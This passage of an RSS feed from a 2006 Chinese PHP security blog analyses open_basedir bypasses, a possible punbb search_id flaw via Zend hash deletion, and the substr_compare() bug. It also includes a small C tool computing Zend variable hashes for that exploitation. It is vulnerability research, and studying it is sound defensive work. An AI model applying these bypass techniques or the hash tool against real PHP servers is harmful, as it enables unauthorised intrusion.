style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>随便说说</title><link>http://www.phpweblog.net/GaRY/archive/2006/10/03/446.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 03 Oct 2006 15:37:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/10/03/446.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/446.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/10/03/446.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/446.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/446.html</trackback:ping><description><![CDATA[ 仔细看了最近的几个知名PHP程序漏洞的advisory<br />国内的比如dz,比如ctb,比如pw<br />国外的比如wp,比如phpmyadmin等等<br />要么和unset有关,要么和$_SERVER 有关.<br />看来,以后要挖PHP应用层漏洞,特别是现在dz等软件越发展越安全的前景下.<br />突破点就得往PHP底层找了<img src ="http://www.phpweblog.net/GaRY/aggbug/446.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-10-03 23:37 <a href="http://www.phpweblog.net/GaRY/archive/2006/10/03/446.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于最近的几个open_basedir绕过漏洞</title><link>http://www.phpweblog.net/GaRY/archive/2006/08/23/350.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Wed, 23 Aug 2006 12:38:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/08/23/350.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/350.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/08/23/350.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/350.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/350.html</trackback:ping><description><![CDATA[
		<p>PHP 5.1.5 在8.17号发布了,修补了几个绕过open_basedir的漏洞,我们一个个来看:<br /><br />Quote form <a href="http://www.php.net/release_5_1_5.php">http://www.php.net/release_5_1_5.php</a><br /></p>
		<hr />
Added missing safe_mode/open_basedir checks inside the error_log(), file_exists(), imap_open() and imap_reopen() functions.<br />Fixed possible open_basedir/safe_mode bypass in cURL extension and with realpath cache.<br /><hr /><br />首先是<strong>error_log().</strong>奇怪的是,我对比了5.1.5和5.1.2的代码,并没有发现PHP_FUNCTION(error_log)以及PHPAPI int _php_error_log有任何改变.而且在 bugs.php.net 上没有search到任何关于此bug的报告.测试5.1.2的时候,也没发现error_log函数能绕过open_basedir的限制任意写文件.<br /><br /><hr />
Warning: error_log(): open_basedir restriction in effect. File(C:\err.txt) is not within the allowed path(s): (D:\phproot;D:\admin\) in D:\phproot\test\error.php on line 2 Warning: error_log(C:\err.txt): failed to open stream: Operation not permitted in D:\phproot\test\error.php on line 2<br /><hr /><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #000000">&lt;?</span><span style="COLOR: #000000"><br /></span><span style="COLOR: #008080">error_log</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">You messed up!</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">C:\\err.txt</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br /></span><span style="COLOR: #000000">?&gt;</span><span style="COLOR: #000000"> </span></div><br />其次是<strong>file_exists().</strong>这个漏洞很无聊.最多只能判断这个文件是否存在而已.无法做些有意义的动作.<br />有意思的是,在研究代码的时候,发现饶过open_basedir的不光是file_exists函数.在php源代码中,对大多数处理文件的函数组都使用了同一个宏:<br /><br /><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #000000">FileFunction(PHP_FN(</span><span style="COLOR: #008080">file_exists</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"> FS_EXISTS)</span></div><br />然后FileFunction再调用 php_stat(Z_STRVAL_PP(filename), (php_stat_len) Z_STRLEN_PP(filename), funcnum, return_value TSRMLS_CC) 进行处理.所以同样的饶过漏洞也存在与同样使用此宏,并且返回值都是BOOL类型的is_executable,is_writeable,is_readable,is_dir,is_file,is_link函数.<br /><br /><strong>imap_open()和imap_reopen()<br /></strong>这两个比较有意思,但是要求是必须要有imap扩展库,漏洞出在imap_open函数的第一个参数.如果把inbox替换为文件或目录,就能用imap相关函数对其进行处理.<br /><a href="http://bugs.php.net/bug.php?id=37265">http://bugs.php.net/bug.php?id=37265</a><br /><br /><strong>cURL<br /></strong>没什么好说拉.<font color="#000000">securityreason已经贴出了详细的分析和POC,url贴出来,自己看吧 : )</font><br /><a href="http://securityreason.com/achievement_securityalert/39">http://securityreason.com/achievement_securityalert/39</a><img src ="http://www.phpweblog.net/GaRY/aggbug/350.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-08-23 20:38 <a href="http://www.phpweblog.net/GaRY/archive/2006/08/23/350.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>punbb</title><link>http://www.phpweblog.net/GaRY/archive/2006/08/21/punbb_unset.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Mon, 21 Aug 2006 02:24:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/08/21/punbb_unset.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/344.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/08/21/punbb_unset.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/344.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/344.html</trackback:ping><description><![CDATA[
		<p minmax_bound="true">in punbb-1.2.12 search.php line 54:<br /><br minmax_bound="true" /></p>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<span style="COLOR: #008080"> 1</span> <span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #0000ff">isset</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$search_id</span><span style="COLOR: #000000">)) </span><span style="COLOR: #0000ff">unset</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$search_id</span><span style="COLOR: #000000">);<br /></span><span style="COLOR: #008080"> 2</span> <span style="COLOR: #000000"><br /></span><span style="COLOR: #008080"> 3</span> <span style="COLOR: #000000"></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> If a search_id was supplied</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #008080"> 4</span> <span style="COLOR: #008000"></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #0000ff">isset</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$_GET</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">search_id</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]))<br /></span><span style="COLOR: #008080"> 5</span> <span style="COLOR: #000000">{<br /></span><span style="COLOR: #008080"> 6</span> <span style="COLOR: #000000">    </span><span style="COLOR: #800080">$search_id</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #008080">intval</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$_GET</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">search_id</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]);<br /></span><span style="COLOR: #008080"> 7</span> <span style="COLOR: #000000">    </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$search_id</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)<br /></span><span style="COLOR: #008080"> 8</span> <span style="COLOR: #000000">        message(</span><span style="COLOR: #800080">$lang_common</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">Bad request</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]);<br /></span><span style="COLOR: #008080"> 9</span> <span style="COLOR: #000000">}<br /></span><span style="COLOR: #008080">10</span> <span style="COLOR: #000000"><br /></span><span style="COLOR: #008080">11</span> <span style="COLOR: #000000"></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> ......<br /></span><span style="COLOR: #008080">12</span> <span style="COLOR: #008000">// something not effect<br /></span><span style="COLOR: #008080">13</span> <span style="COLOR: #008000">// ......<br /></span><span style="COLOR: #008080">14</span> <span style="COLOR: #008000">// ......<br /></span><span style="COLOR: #008080">15</span> <span style="COLOR: #008000">// and in line 100:</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #008080">16</span> <span style="COLOR: #008000"></span><span style="COLOR: #000000"><br /></span><span style="COLOR: #008080">17</span> <span style="COLOR: #000000"></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #0000ff">isset</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$search_id</span><span style="COLOR: #000000">))<br /></span><span style="COLOR: #008080">18</span> <span style="COLOR: #000000">{<br /></span><span style="COLOR: #008080">19</span> <span style="COLOR: #000000">    </span><span style="COLOR: #800080">$ident</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$pun_user</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">is_guest</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]) </span><span style="COLOR: #000000">?</span><span style="COLOR: #000000"> get_remote_address() </span><span style="COLOR: #000000">:</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$pun_user</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">username</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">];<br /></span><span style="COLOR: #008080">20</span> <span style="COLOR: #000000"><br /></span><span style="COLOR: #008080">21</span> <span style="COLOR: #000000">    </span><span style="COLOR: #800080">$result</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$db</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">query(</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">SELECT search_data FROM </span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$db</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">prefix</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">search_cache WHERE id=</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$search_id</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000"> AND ident=\</span><span style="COLOR: #000000">''</span><span style="COLOR: #000000">.$db-&gt;escape($ident).</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">\</span><span style="COLOR: #000000">''</span><span style="COLOR: #000000">) or error(</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">Unable to fetch search results</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"> </span><span style="COLOR: #ff00ff">__FILE__</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"> </span><span style="COLOR: #ff00ff">__LINE__</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$db</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">error());<br /></span><span style="COLOR: #008080">22</span> <span style="COLOR: #000000"></span></div>
		<p minmax_bound="true">
				<br minmax_bound="true" />Can you guys realize something?<br minmax_bound="true" />Yes, you are right.<br minmax_bound="true" />We can use $_POST[search_id] with the Zend_Hash_Del_Key_Or_Index Vulnerability to exploit it!<br minmax_bound="true" />But in fact,in common.php line 39:<br minmax_bound="true" /></p>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<span style="COLOR: #008080">1</span> <span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Reverse the effect of register_globals</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #008080">2</span> <span style="COLOR: #008000"></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (@</span><span style="COLOR: #008080">ini_get</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">register_globals</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">))<br /></span><span style="COLOR: #008080">3</span> <span style="COLOR: #000000">    unregister_globals();<br /></span><span style="COLOR: #008080">4</span> <span style="COLOR: #000000"></span></div>
		<p minmax_bound="true">
				<br minmax_bound="true" />I hate punbb....  <img height="19" src="http://www.phpweblog.net/Emoticons/emcrook.gif" width="19" border="0" /></p>
<img src ="http://www.phpweblog.net/GaRY/aggbug/344.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-08-21 10:24 <a href="http://www.phpweblog.net/GaRY/archive/2006/08/21/punbb_unset.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP Variable Zend Hash Calculater</title><link>http://www.phpweblog.net/GaRY/archive/2006/08/15/PHP_Variable_Zend_Hash_Calculater.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 15 Aug 2006 08:41:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/08/15/PHP_Variable_Zend_Hash_Calculater.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/325.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/08/15/PHP_Variable_Zend_Hash_Calculater.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/325.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/325.html</trackback:ping><description><![CDATA[
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<span style="COLOR: #008000">/*</span>
				<span style="COLOR: #008000">
						<br />*<br />* PHP Variable Zend Hash Calculater<br />* Author: wofeiwo<br />*<br /></span>
				<span style="COLOR: #008000">*/</span>
				<span style="COLOR: #000000">
						<br />
						<br />
				</span>
				<span style="COLOR: #008000">#</span>
				<span style="COLOR: #008000">include &lt;stdio.h&gt;</span>
				<span style="COLOR: #008000">
						<br />#</span>
				<span style="COLOR: #008000">include &lt;stdlib.h&gt;</span>
				<span style="COLOR: #008000">
						<br />#</span>
				<span style="COLOR: #008000">include &lt;string.h&gt;</span>
				<span style="COLOR: #008000">
						<br />
				</span>
				<span style="COLOR: #000000">
						<br />unsigned long zend_inline_hash_func(char </span>
				<span style="COLOR: #000000">*</span>
				<span style="COLOR: #000000">arKey</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> int nKeyLength</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> int nVersion)<br />{<br />    unsigned long h </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">5381</span>
				<span style="COLOR: #000000">;<br />    char </span>
				<span style="COLOR: #000000">*</span>
				<span style="COLOR: #000000">arEnd </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000"> arKey </span>
				<span style="COLOR: #000000">+</span>
				<span style="COLOR: #000000"> nKeyLength;<br /> <br />    </span>
				<span style="COLOR: #0000ff">while</span>
				<span style="COLOR: #000000"> (arKey </span>
				<span style="COLOR: #000000">&lt;</span>
				<span style="COLOR: #000000"> arEnd) {<br />        h </span>
				<span style="COLOR: #000000">+=</span>
				<span style="COLOR: #000000"> (h </span>
				<span style="COLOR: #000000">&lt;&lt;</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">5</span>
				<span style="COLOR: #000000">);<br />        </span>
				<span style="COLOR: #0000ff">switch</span>
				<span style="COLOR: #000000">(nVersion){<br />        </span>
				<span style="COLOR: #0000ff">case</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">4</span>
				<span style="COLOR: #000000">:</span>
				<span style="COLOR: #000000"> h </span>
				<span style="COLOR: #000000">^=</span>
				<span style="COLOR: #000000"> (unsigned long) </span>
				<span style="COLOR: #000000">*</span>
				<span style="COLOR: #000000">arKey</span>
				<span style="COLOR: #000000">++</span>
				<span style="COLOR: #000000">;</span>
				<span style="COLOR: #0000ff">break</span>
				<span style="COLOR: #000000">;<br />        </span>
				<span style="COLOR: #0000ff">case</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">5</span>
				<span style="COLOR: #000000">:</span>
				<span style="COLOR: #000000"> h </span>
				<span style="COLOR: #000000">+=</span>
				<span style="COLOR: #000000"> (unsigned long) </span>
				<span style="COLOR: #000000">*</span>
				<span style="COLOR: #000000">arKey</span>
				<span style="COLOR: #000000">++</span>
				<span style="COLOR: #000000">;</span>
				<span style="COLOR: #0000ff">break</span>
				<span style="COLOR: #000000">;<br />        }<br />    }<br />    </span>
				<span style="COLOR: #0000ff">return</span>
				<span style="COLOR: #000000"> h;<br />}<br /><br />int main(int argc</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> char </span>
				<span style="COLOR: #000000">*</span>
				<span style="COLOR: #000000">argv[])<br />{<br />    unsigned long hash4;<br />    unsigned long hash5</span>
				<span style="COLOR: #000000">;<br /><br />    </span>
				<span style="COLOR: #008080">printf</span>
				<span style="COLOR: #000000">(</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">PHP Variable Zend Hash Calculater\r\nAuthor: wofeiwo\r\n\r\n</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">);<br />    </span>
				<span style="COLOR: #0000ff">if</span>
				<span style="COLOR: #000000">(argc </span>
				<span style="COLOR: #000000">!=</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">2</span>
				<span style="COLOR: #000000">) <br />    {<br />        </span>
				<span style="COLOR: #008080">printf</span>
				<span style="COLOR: #000000">(</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">Usage: %s &lt;string&gt;\r\n</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> argv[</span>
				<span style="COLOR: #000000">0</span>
				<span style="COLOR: #000000">]);<br />        </span>
				<span style="COLOR: #0000ff">exit</span>
				<span style="COLOR: #000000">(</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">);<br />    }<br /><br />    hash4 </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000"> zend_inline_hash_func(argv[</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">]</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #008080">strlen</span>
				<span style="COLOR: #000000">(argv[</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">])</span>
				<span style="COLOR: #000000">+</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">4</span>
				<span style="COLOR: #000000">);<br />    hash5 </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000"> zend_inline_hash_func(argv[</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">]</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #008080">strlen</span>
				<span style="COLOR: #000000">(argv[</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">])</span>
				<span style="COLOR: #000000">+</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">5</span>
				<span style="COLOR: #000000">);<br />    </span>
				<span style="COLOR: #008080">printf</span>
				<span style="COLOR: #000000">(</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">String: %s\r\nPHP4 HASH: %ld\r\nPHP5 HASH: %ld\r\n</span>
				<span style="COLOR: #000000">"</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> argv[</span>
				<span style="COLOR: #000000">1</span>
				<span style="COLOR: #000000">]</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> hash4</span>
				<span style="COLOR: #000000">,</span>
				<span style="COLOR: #000000"> hash5);<br />    </span>
				<span style="COLOR: #0000ff">return</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">0</span>
				<span style="COLOR: #000000">;<br />}</span>
		</div>
<img src ="http://www.phpweblog.net/GaRY/aggbug/325.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-08-15 16:41 <a href="http://www.phpweblog.net/GaRY/archive/2006/08/15/PHP_Variable_Zend_Hash_Calculater.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP substr_compare() Vulnerability 浅析</title><link>http://www.phpweblog.net/GaRY/archive/2006/08/15/PHP_substr_compare_Vulnerability.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 15 Aug 2006 06:42:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/08/15/PHP_substr_compare_Vulnerability.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/321.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/08/15/PHP_substr_compare_Vulnerability.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/321.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/321.html</trackback:ping><description><![CDATA[
		<br />
		<font style="BACKGROUND-COLOR: #ffffff" color="#000000">新blog开张,贴个文章测试一下<br /><br /></font>
		<span style="COLOR: #000000">
				<font face="Courier New">
						<font style="BACKGROUND-COLOR: #ffffff">
								<font color="#000000">
										<b>PHP substr_compare() Vulnerability 浅析</b>
										<br />
										<br />Author: wofeiwo <br />Date: Aug 14th 2006 <br /><br />先看看公告: <br /><br /><hr /><br />PHP多个远程安全漏洞 <br /><br />发布日期：2006-08-03 <br />更新日期：2006-08-04 <br /><br />受影响系统： <br />PHP PHP 4.4.x <br />不受影响系统： <br />PHP PHP 4.4.3 <br />描述： <br />-------------------------------------------------------------------------------- <br />CVE(CAN) ID: CVE-2006-3016 <br /><br />PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。 <br /><br />PHP的substr_compare()函数没有正确的验证偏移/长度参数。此外，PHP还没有正确的处理会话名称中的某些字符。攻击者可以利用这些漏洞远程执行任意代码。 <br /><br />&lt;*来源：Secunia <br />   <br />  链接：http://secunia.com/advisories/21328/print/ <br />        http://www.php.net/release_4_4_3.php <br />*&gt; <br /><br /><hr /><br />公告里只说明影响为 PHP &lt;= 4.4.3, 其实 PHP 5.1.3 以下也受到这个漏洞影响. <br /><br />再来看看 PHP 手册里对这个函数的描述. <br /><br /><hr /><br />Description <br /></font>
						</font>
				</font>
				<span style="COLOR: #0000bb">
						<br />
				</span>
				<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
						<span style="COLOR: #000000">int  </span>
						<span style="COLOR: #008080">substr_compare</span>
						<span style="COLOR: #000000">  (  </span>
						<span style="COLOR: #0000ff">string</span>
						<span style="COLOR: #000000">  main_str </span>
						<span style="COLOR: #000000">,</span>
						<span style="COLOR: #000000">   </span>
						<span style="COLOR: #0000ff">string</span>
						<span style="COLOR: #000000">  str </span>
						<span style="COLOR: #000000">,</span>
						<span style="COLOR: #000000">  int offset [ </span>
						<span style="COLOR: #000000">,</span>
						<span style="COLOR: #000000">  int length [ </span>
						<span style="COLOR: #000000">,</span>
						<span style="COLOR: #000000">  bool case_insensitivity]] ) <br /></span>
				</div>
				<br />
				<font face="Courier New">
						<font style="BACKGROUND-COLOR: #ffffff" color="#000000">substr_compare() compares main_str from position offset with str up to length characters.  <br /><br />Returns &lt; 0 if main_str from position offset is less than str, &gt; 0 if it is greater than str, and 0 if they are equal. If length is equal or greater than length of main_str and length is set, substr_compare() prints warning and returns FALSE.  <br /><br />If case_insensitivity is TRUE, comparison is case insensitive <br /><br /><hr /><br /></font>
						<font style="BACKGROUND-COLOR: #ffffff" color="#000000">看来是一个比较字符串与子字符串的函数.下面来分析漏洞原因,看代码: <br /><br /></font>
				</font>
				<span style="COLOR: #0000bb">
						<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
								<span style="COLOR: #008000">//</span>
								<span style="COLOR: #008000">  ripped from PHP-5.1.2  </span>
								<span style="COLOR: #008000">
										<br />
								</span>
								<span style="COLOR: #000000">PHP_FUNCTION( </span>
								<span style="COLOR: #008080">substr_compare</span>
								<span style="COLOR: #000000"> ) <br />{ <br />    char  </span>
								<span style="COLOR: #000000">*</span>
								<span style="COLOR: #000000"> s1 </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">*</span>
								<span style="COLOR: #000000"> s2; <br />    int s1_len </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  s2_len; <br />    long offset </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">  len </span>
								<span style="COLOR: #000000">=</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #000000">0</span>
								<span style="COLOR: #000000"> ; <br />    zend_bool cs </span>
								<span style="COLOR: #000000">=</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #000000">0</span>
								<span style="COLOR: #000000"> ; <br />    uint cmp_len; <br /><br />     </span>
								<span style="COLOR: #0000ff">if</span>
								<span style="COLOR: #000000">  (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">"</span>
								<span style="COLOR: #000000"> ssl|lb </span>
								<span style="COLOR: #000000">"</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">&amp;</span>
								<span style="COLOR: #000000"> s1 </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">&amp;</span>
								<span style="COLOR: #000000"> s1_len </span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">   </span>
								<span style="COLOR: #000000">&amp;</span>
								<span style="COLOR: #000000"> s2 </span>
								<span style="COLOR: #000000">,</span>
